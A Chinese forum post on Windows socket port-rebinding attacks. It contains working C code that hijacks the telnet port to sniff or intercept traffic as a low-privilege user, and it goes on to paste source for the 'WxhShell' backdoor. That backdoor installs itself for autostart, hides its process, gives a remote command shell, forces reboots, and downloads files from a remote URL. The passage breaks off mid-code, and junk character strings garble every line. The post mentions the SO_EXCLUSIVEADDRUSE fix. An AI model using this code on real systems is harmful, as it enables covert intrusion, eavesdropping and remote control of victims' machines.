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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {[eY/)6H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ofV{SeD67  
^B7Aam  
  saddr.sin_family = AF_INET; )deuB5kz  
2P*O^-zRp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  }#1g;  
TqC"lO>:Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;3_'{  
!!AutkEg>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (<t)5?@%  
f#?R!pR  
  这意味着什么?意味着可以进行如下的攻击: ^"I!+Teb  
o z QL2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )DW;Gc  
;NEHbLH#F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <_}u5E)7(  
_XN sDW4|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E;SF f  
_[V 6s#Wk3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   zcc]5>  
qohUxtnTK>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U3>G9g>^B  
pAYuOk9n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {chl+au*l  
p("do1:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W/+0gh7`,(  
6mZFsB  
  #include .nnAI@7E  
  #include l)zS}"F,  
  #include on~rrSK  
  #include    Sn0 Gw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UCFef,VW  
  int main() fu/v1~X  
  { [>fE{ ~Y  
  WORD wVersionRequested; iqpy5  
  DWORD ret; P<U{jkM\/  
  WSADATA wsaData; eG<32$I  
  BOOL val; i4l?q#X  
  SOCKADDR_IN saddr; 6w' ^,V  
  SOCKADDR_IN scaddr; z;LntQZp-  
  int err; 4IVCTz[  
  SOCKET s; N9hBGa$  
  SOCKET sc; /Bc ;)~  
  int caddsize; Ha<(~qf  
  HANDLE mt; )7f:hg  
  DWORD tid;   Wh7$')@  
  wVersionRequested = MAKEWORD( 2, 2 ); 8"? t6Z;5  
  err = WSAStartup( wVersionRequested, &wsaData ); 7@:uVowQ  
  if ( err != 0 ) { 0 I,-1o|s  
  printf("error!WSAStartup failed!\n"); 8ARpjYZP  
  return -1; Q~`n%uYg\{  
  } 9d v+u6)  
  saddr.sin_family = AF_INET; "&An9H'  
   U_+>4zdm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XWk^$"  
@f5X AK?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o(}vR<tD\  
  saddr.sin_port = htons(23); { Uh/ ~zu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;Q ]bV52  
  { ]P-;]*&=  
  printf("error!socket failed!\n"); {min9  
  return -1; MD&Ebq5V  
  } (URWi caB  
  val = TRUE; ]cbY@U3!2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E[ ,Ur`>:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \D0Pik@?  
  { ZJS7#<-7o  
  printf("error!setsockopt failed!\n"); yB&s2J  
  return -1; <EJC.W WJa  
  } /" ,]J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Av{1~%hU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Rv }e+5F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HyB!8M|  
'w DNP_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P9gIKOOx#4  
  { }I !D65-#'  
  ret=GetLastError(); J?V8uEly  
  printf("error!bind failed!\n"); hW]:CIqk  
  return -1; 7 'N&jI   
  } A+AqlM+$i  
  listen(s,2); 94A re<  
  while(1) 4Xlq Ym  
  {  \:Q)Ef  
  caddsize = sizeof(scaddr); xGN&RjPk\  
  //接受连接请求 X ZfT;!wF&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?EdF&^[3rD  
  if(sc!=INVALID_SOCKET) JPRl/P$  
  { x5s Yo\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P)4SrqW_  
  if(mt==NULL) >%t"VpvR  
  { R'He(x  
  printf("Thread Creat Failed!\n"); GC.   
  break; -B'<*Y  
  } sdrALl;w|  
  } A^xD Axk  
  CloseHandle(mt); +n7bbuxj(X  
  } M,zUg_ @  
  closesocket(s); d(<[$ 3.  
  WSACleanup(); .z+ [3Oj_E  
  return 0; +eQg+@u  
  }   SD |5v*  
  DWORD WINAPI ClientThread(LPVOID lpParam) !CUrpr/*  
  { ~'n3],o?  
  SOCKET ss = (SOCKET)lpParam; Q! WXFS  
  SOCKET sc; J'W6NitMr  
  unsigned char buf[4096]; B\`4TU}kE  
  SOCKADDR_IN saddr; 4vF1  
  long num; ; &$djP  
  DWORD val; rz5AIe>Hm  
  DWORD ret; pxjb^GZ0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7xqTTN6h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -Z9e}$q$,  
  saddr.sin_family = AF_INET; JHBX'1GQa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X&b)E0]pR  
  saddr.sin_port = htons(23); um~U_&>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D}OvD |<-  
  { <7-3j{065  
  printf("error!socket failed!\n"); rxJmK$qd  
  return -1; l!5fuB8  
  } I'm.+(1m,  
  val = 100; WZ> }  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =c:K(N qL  
  { 1$H*E~  
  ret = GetLastError(); N$i!25F`  
  return -1; yP. ,Dh s  
  } jt=%oa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \b6H4aQii  
  { M|xd9kA^  
  ret = GetLastError(); 1%g%I8W%  
  return -1; 0e-M 24,C  
  } 7M9Ey29f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ' GcN9D  
  { 6B'd]Fe  
  printf("error!socket connect failed!\n"); ,t2Mur  
  closesocket(sc); P :zZ  
  closesocket(ss); R <}UT  
  return -1; _HjS!(lMk  
  } 5 FKb7  
  while(1) Z#+lwZD  
  { ^VabXGzo#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h)7hk*I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =MMU(0 E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zg>4/10P1q  
  num = recv(ss,buf,4096,0); O7vJ`K(!  
  if(num>0) d.>Zn?u4L  
  send(sc,buf,num,0); :%!` R72  
  else if(num==0) 6ZKSet8  
  break; ;d5d$Np@m&  
  num = recv(sc,buf,4096,0); uf q9+}  
  if(num>0) Ls51U7  
  send(ss,buf,num,0); l7vU{Fd-h^  
  else if(num==0) F)XO5CBK  
  break; J?DJA2o  
  } =zBc@VTp  
  closesocket(ss); J7a_a>Y  
  closesocket(sc); &-.NkW@  
  return 0 ; nz+k ,  
  } N #C,q&;  
V[#eeH)/  
% XvJJ  
========================================================== 9IfeaoZZ4q  
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下边附上一个代码,,WXhSHELL ,.6)y1!  
4Kl{^2  
========================================================== a]NH >d  
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#include "stdafx.h" 2d:IYCl4q  
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#include <stdio.h> J2Y S+%K  
#include <string.h> 4rDa Jd>,  
#include <windows.h> nI0TvB D  
#include <winsock2.h> 1>)q 5D  
#include <winsvc.h> 7j,u&%om  
#include <urlmon.h> _4^#VD#f  
aI^Z0[P+  
#pragma comment (lib, "Ws2_32.lib") R-[t 4BHn  
#pragma comment (lib, "urlmon.lib") u"hv _ml  
SyL:=NZ  
#define MAX_USER   100 // 最大客户端连接数 qE:/~Q0  
#define BUF_SOCK   200 // sock buffer 8r{:d i*  
#define KEY_BUFF   255 // 输入 buffer BU;o$"L  
VUd=|$'J  
#define REBOOT     0   // 重启 9=o;I;I  
#define SHUTDOWN   1   // 关机 v#X l  
F4:giu ht  
#define DEF_PORT   5000 // 监听端口 #]SiS2lM#  
x b6X8:  
#define REG_LEN     16   // 注册表键长度 'cgB$:T}.,  
#define SVC_LEN     80   // NT服务名长度 YZ\a#s ,0  
4;;K1< 1  
// 从dll定义API `514HgR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OK8|w]-A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =hAH6C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fY|P+{BO2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^E]Xq]vd"  
e<Bw duy  
// wxhshell配置信息  X<p'&  
struct WSCFG { x9Oo.[  
  int ws_port;         // 监听端口 hAi`2GP.  
  char ws_passstr[REG_LEN]; // 口令 f?Am)  
  int ws_autoins;       // 安装标记, 1=yes 0=no -5X*y4#  
  char ws_regname[REG_LEN]; // 注册表键名 a]]>(Txc  
  char ws_svcname[REG_LEN]; // 服务名 F'Lav?^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =CqZ$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LFwRTY,G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $_5a1Lq1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]:g;S,{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 09_5niaz[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S W; %2  
x )w6  
}; 0YsBAfRG  
Z23*`yR  
// default Wxhshell configuration (U?*Z/  
struct WSCFG wscfg={DEF_PORT, 0r/pZ3/  
    "xuhuanlingzhe", S!oG|%VuB#  
    1, \""sf{S9  
    "Wxhshell", :i};]pR   
    "Wxhshell", 8`]1Nt!*B  
            "WxhShell Service", $>*TO1gb+  
    "Wrsky Windows CmdShell Service", Y;I>rC (  
    "Please Input Your Password: ", P(|+1$#[  
  1, n`TXm g  
  "http://www.wrsky.com/wxhshell.exe", Pbo759q 1  
  "Wxhshell.exe" }K3!ujvR  
    }; }.S4;#|hw  
n 97pxD_74  
// 消息定义模块 WAzn`xGxR"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -ufO,tJRLL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l!7O2Ai5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &i{>Li  
char *msg_ws_ext="\n\rExit."; 7#pu(:T$  
char *msg_ws_end="\n\rQuit."; e6y,)W"WW2  
char *msg_ws_boot="\n\rReboot..."; ]IQ`.:g=9  
char *msg_ws_poff="\n\rShutdown..."; 3;-P(G@  
char *msg_ws_down="\n\rSave to "; ]f}#&]<(T  
iD"9,1@~n  
char *msg_ws_err="\n\rErr!"; o?]N2e&(  
char *msg_ws_ok="\n\rOK!"; wR@"]WkR=  
&ZR}Z7E*=  
char ExeFile[MAX_PATH]; V'Z Z4og  
int nUser = 0; uW{;@ 7N  
HANDLE handles[MAX_USER]; mSFh*FG  
int OsIsNt; @o/126(k  
L0QF(:F5  
SERVICE_STATUS       serviceStatus; mh7JPbX|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *wu:fb2[(  
W3~xjS"h  
// 函数声明 xp68-&  
int Install(void); *;u'W|"/~  
int Uninstall(void); }bA@QEJ  
int DownloadFile(char *sURL, SOCKET wsh); %j4AX  
int Boot(int flag); sc)}r_|g  
void HideProc(void); GB&^<@  
int GetOsVer(void); -RK R. ,  
int Wxhshell(SOCKET wsl); XI/LVP,.  
void TalkWithClient(void *cs); =bgu2#%Z  
int CmdShell(SOCKET sock); c8<qn+=%?  
int StartFromService(void); =_)yV0  
int StartWxhshell(LPSTR lpCmdLine); Y Z.? k4>  
-#agWqUM|T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]ML(=7z"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M[1!#Q><!  
IMT]!j&Y,  
// 数据结构和表定义 |08'd5  
SERVICE_TABLE_ENTRY DispatchTable[] = p~bx  
{ At$[&%}  
{wscfg.ws_svcname, NTServiceMain}, @SX-=Nr  
{NULL, NULL} Mv%"aFC  
}; E/5/5'gBJO  
VxTrL}{(6  
// 自我安装 z-g"`w:Lj  
int Install(void) 8?z7!k]  
{ Eb.k:8?Tn  
  char svExeFile[MAX_PATH]; @;1Ym\zc  
  HKEY key; gAxf5 A_x)  
  strcpy(svExeFile,ExeFile); 1Ht&;V  
kH|cB!?x  
// 如果是win9x系统,修改注册表设为自启动 [,?5}'we  
if(!OsIsNt) { XtP5IN\S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *74VrAo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lD41+x 7  
  RegCloseKey(key); i+XHXpk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?VRf5 Cr-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M:/)|fk  
  RegCloseKey(key); L[rxs[7~  
  return 0; tH^]`6"QUa  
    } q!!gn1PT(T  
  } DYej<T'?3  
} DGrk}   
else { -Ed<Kl  
V X"! a  
// 如果是NT以上系统,安装为系统服务 b2vCr F;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sO$X5S C9  
if (schSCManager!=0) )z=L^ot  
{ E9 6` aF{]  
  SC_HANDLE schService = CreateService `SM37({c  
  ( *w,C5 f  
  schSCManager, =4_Er{AT  
  wscfg.ws_svcname, `~;`q  
  wscfg.ws_svcdisp, 0CR~ vQf#r  
  SERVICE_ALL_ACCESS, C>~ms2c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =b_/_b$q  
  SERVICE_AUTO_START, Zv|TvlyT"  
  SERVICE_ERROR_NORMAL, Uw5AHq).  
  svExeFile, K}a3Bj,  
  NULL, (@nE e?  
  NULL, 5SQqE@g%  
  NULL, :JD*uu  
  NULL, _|f_%S8a_=  
  NULL {$P')> /  
  ); yO*HJpc   
  if (schService!=0) #sHt3z)6I  
  { $Si|;j$?  
  CloseServiceHandle(schService); ==]BrhZK  
  CloseServiceHandle(schSCManager); &|Cd1z#?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $ts1XIK%  
  strcat(svExeFile,wscfg.ws_svcname); Sece#K2J|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HY>zgf,0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?Jy /]j5fI  
  RegCloseKey(key); 5e|yW0o  
  return 0; ,.,spoV  
    } 4qvE2W}&  
  } ZgI?#e  
  CloseServiceHandle(schSCManager); efX iZ  
} #BhDC.CcW  
} p"tCMB  
Wz&[ cj  
return 1; Rn9e#_Az  
} H7?Sd(U  
z;Yo76P  
// 自我卸载 L{F[>^1Sb  
int Uninstall(void) E E^l w61  
{ DNu-Ce%  
  HKEY key; HD!2|b ~@  
/{%p%Q[X  
if(!OsIsNt) { A(}D76o_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IlfH  
  RegDeleteValue(key,wscfg.ws_regname); 9YEE.=]T  
  RegCloseKey(key); 5lrjM^E|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d3jzGJrU}  
  RegDeleteValue(key,wscfg.ws_regname); F1GFn|OA  
  RegCloseKey(key); p:?h)'bA<  
  return 0; \PL0-.t,  
  } 'aqlNBG*  
} q#_<J1)z  
} YMr2Dv\y  
else { 7w5C NV  
opv<r* !  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a?1lj,"~R  
if (schSCManager!=0) )uRR!<"~  
{ Ge^(Ag}vE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %pj T?G7  
  if (schService!=0) 8z)J rO}  
  { tb/`*Yl@  
  if(DeleteService(schService)!=0) { vf0 fa46  
  CloseServiceHandle(schService); |*> s%nF|  
  CloseServiceHandle(schSCManager); #I}w$j i  
  return 0; Wf{&D>  
  } awU&{<,=g  
  CloseServiceHandle(schService); <TEDqQ  
  } 9][A1 +"  
  CloseServiceHandle(schSCManager); d A>6  
} ',m!L@7M5  
} B+4WnR1%T  
)~be<G( a  
return 1; $Y?[[>u  
} fM!@cph(8  
7Sl"q=>  
// 从指定url下载文件 K_GqM9  
int DownloadFile(char *sURL, SOCKET wsh) FM,o&0HSd  
{ '4)4*3z,  
  HRESULT hr; ,Q,3^v-  
char seps[]= "/"; e !N%   
char *token; AB=Wj*f r  
char *file; RgSB?  
char myURL[MAX_PATH]; <Gj]XAoe%  
char myFILE[MAX_PATH]; avy@)iO7  
on.m '-s  
strcpy(myURL,sURL); [Wn6d:  
  token=strtok(myURL,seps); #3}!Q0   
  while(token!=NULL) yi:1cLq2  
  { 1k!$#1d<  
    file=token; =;{8)m  
  token=strtok(NULL,seps); D!rD-e  
  } "sJ@_lp  
}e-D&U  
GetCurrentDirectory(MAX_PATH,myFILE); ffG1QvC|M  
strcat(myFILE, "\\"); cpu|tK.t  
strcat(myFILE, file); q85 4k+C  
  send(wsh,myFILE,strlen(myFILE),0); b&P2VqYgl  
send(wsh,"...",3,0); @m+FAdA 0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qk=OodEMK  
  if(hr==S_OK) }WnoI2  
return 0; chXTFLC~  
else UHS{X~CS e  
return 1; p+}eP|N  
d6ckvD[  
} =VGRM#+D  
C)BVsHT4  
// 系统电源模块 ^2LqKo\T  
int Boot(int flag) nVoP:FHH  
{ .6A{   
  HANDLE hToken; suE#'0K  
  TOKEN_PRIVILEGES tkp; g?{7DI`  
FF~VV<a  
  if(OsIsNt) { \me-#: Gu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =~q Xzq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UQnv#a>  
    tkp.PrivilegeCount = 1; ^~W s4[Guo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GB{Q)L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); , %A2wV  
if(flag==REBOOT) { )F m'i&F_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [m6%_3zV  
  return 0; ;"]?&ri  
} TlpQ9T  
else { J~lKN <w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lin  
  return 0; O5dBI_  
} (d#W3  
  } qb KcI+)47  
  else { YJ{_%z|U  
if(flag==REBOOT) { q],/%W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @!mjjeG+1  
  return 0; j1K?QH=e#{  
} D)bR-a_^  
else { ZU.f)94u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Idr|-s%l6'  
  return 0; ;fB!/u  
} w"AO~LF  
} C8$/z>tQ  
Q+Ya\1$6A  
return 1; /JmWiBQIn  
} 0RP{_1k  
{}tv(8]^  
// win9x进程隐藏模块 m_b_)/  
void HideProc(void) [Y8ot-6  
{ G&#l3bkQ  
|3=tF"h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :s#&nY  
  if ( hKernel != NULL ) YQaL)t$0  
  { ]?V2L`/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PjkjUP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cWp5pGIzfp  
    FreeLibrary(hKernel); =z9FjK  
  } 1G 63eH)!  
%$=}ePD  
return; m-'+)lB  
} 0 2q*z>:^  
2fG[q3`  
// 获取操作系统版本 K!;>/3Y2-  
int GetOsVer(void) Kbcr-89Gv~  
{ O>>%lr|  
  OSVERSIONINFO winfo; 2x:aMWh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9On(b|mT  
  GetVersionEx(&winfo); ICUI0/J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;w^{PZBg  
  return 1; Z'_EX7r  
  else *7K)J8kq  
  return 0; 1VB{dgr  
} aKw7m= {  
_}Ec[c  
// 客户端句柄模块 qQe23,x@5  
int Wxhshell(SOCKET wsl) @^^,VgW[  
{ tV9K5ON  
  SOCKET wsh; ya'OI P `  
  struct sockaddr_in client; no8FSqLUS~  
  DWORD myID; B8 R&Q8Q  
ci`N ,&:R  
  while(nUser<MAX_USER) ^spASG -o  
{ CxJH)H$  
  int nSize=sizeof(client); v Yw$m#@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #& &  
  if(wsh==INVALID_SOCKET) return 1; ;"+]bne~  
@mu=7_$U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D]hwG0Chd  
if(handles[nUser]==0) ItwJL`  
  closesocket(wsh); )k&!&  
else pF'M  
  nUser++; zzZ K S  
  } ~4u[\&Sh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #<gD@Jybu  
HsAKz]Mq  
  return 0; qm|T<zsDY#  
} pR7D3Q:^7  
d1n*wVl  
// 关闭 socket kqp*o+Oz',  
void CloseIt(SOCKET wsh) ~k/GmH  
{ 8% `Jf`  
closesocket(wsh); 3<ry/{#%  
nUser--; w[s}#Q  
ExitThread(0); lvIdYf$?  
} @1+({u#B  
OM#eJ,MH<)  
// 客户端请求句柄 Nx<%'-9)|  
void TalkWithClient(void *cs) z#t;n  
{ IGcYPL\&  
Un{9reX5  
  SOCKET wsh=(SOCKET)cs; @M8vP H  
  char pwd[SVC_LEN]; [ h~#5x  
  char cmd[KEY_BUFF]; T |ZJ$E0  
char chr[1]; qb >mUS  
int i,j; V.~C.x  
j$}W%ibj  
  while (nUser < MAX_USER) { dnstm@0k  
 ~ A4_  
if(wscfg.ws_passstr) { H@BU/{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +BkmI\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); afj[HJbY  
  //ZeroMemory(pwd,KEY_BUFF); t^(wbC  
      i=0; ^.(i!BG'  
  while(i<SVC_LEN) { ^y3snuLtE  
+4m~D`fqt[  
  // 设置超时 uz[5h0c  
  fd_set FdRead; mNnt9F3Eq  
  struct timeval TimeOut; d9yfSZ  
  FD_ZERO(&FdRead); f>jAu;S  
  FD_SET(wsh,&FdRead); 0j(/N  
  TimeOut.tv_sec=8; ;8> TD&]{  
  TimeOut.tv_usec=0; "CF{Mu|Q=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,-_\Y hY>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /\|Behif  
l|'{Cb   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1g bqHxWI  
  pwd=chr[0]; Nk&$b  
  if(chr[0]==0xd || chr[0]==0xa) { aW7)}"j4  
  pwd=0; +oRwXO3W  
  break; 7W `gN[*  
  } I-o |~  
  i++; oO~LiK>  
    } <jHo2U8/"s  
FvV:$V|  
  // 如果是非法用户,关闭 socket \KT}T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !i*bb~  
} ucgp=bye  
E6mwvrm8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !(-S?*64l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6A*k  
$ru()/pI)z  
while(1) { c(G;O )ikS  
>r~!'Pd!  
  ZeroMemory(cmd,KEY_BUFF); ~x 0x.-^A  
z 2Rg`1B  
      // 自动支持客户端 telnet标准   TEt+At`]  
  j=0; Zh,{e/j  
  while(j<KEY_BUFF) { tv8}O([  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?^z.WQ|f@  
  cmd[j]=chr[0]; H:>i:\J/M9  
  if(chr[0]==0xa || chr[0]==0xd) { yp.\KLq8)  
  cmd[j]=0; 'Z=8no`<  
  break; `UDB9Ca  
  } ^i!6q9<{e  
  j++; _"R /k`8  
    } ^-GzWT  
R@Kzdeo  
  // 下载文件 5$.e5y<&(  
  if(strstr(cmd,"http://")) { \c.MIDp"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fNTe_akp  
  if(DownloadFile(cmd,wsh)) )S 2GPn7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c1L0#L/F6"  
  else POtwT">z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }:2GD0Ru  
  } ygn]f*;?kw  
  else { EvQMt0[?EW  
c^s%t:)K  
    switch(cmd[0]) { N);2 2-  
  #`(-Oj2hH  
  // 帮助 C`LHFqv  
  case '?': { q"O4}4`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u~y0H  
    break; IGC:zZ~z  
  } Y3RaR 9  
  // 安装 =2rkaBFC  
  case 'i': { 1?}5.*j<  
    if(Install()) u|}p3-z|Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RC>79e/u<  
    else G&2`c\u{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;H;c Sn5uL  
    break; 1Ff Sqd  
    } :497]c3#5C  
  // 卸载 dnW#"  
  case 'r': { g4-UBDtYt  
    if(Uninstall()) K[~fpQGbV1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mv;;0xH  
    else -{ M(1vV(=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N& 683z  
    break; 5U!yc7eBI/  
    } i,z^#b7JQ  
  // 显示 wxhshell 所在路径 $63_* 9  
  case 'p': { aUTXg60l*  
    char svExeFile[MAX_PATH]; ta'{S=^j  
    strcpy(svExeFile,"\n\r"); 'W2B**}  
      strcat(svExeFile,ExeFile); luj UEHzp  
        send(wsh,svExeFile,strlen(svExeFile),0); 2Sg^SZFH+o  
    break; 4ZAnq{nR4  
    } MJDW-KL-  
  // 重启 "f5neW  
  case 'b': { : 3 aZ_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n |e=7?H8  
    if(Boot(REBOOT)) c>}f y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,K>q{H^  
    else { aR0'$*3E  
    closesocket(wsh); lc qpwSk  
    ExitThread(0); J+o6*t2|  
    } +IkL=/';#  
    break; CqkY_z  
    } "1iLfQ  
  // 关机 "gCqb;^  
  case 'd': { s`63 y&Z[  
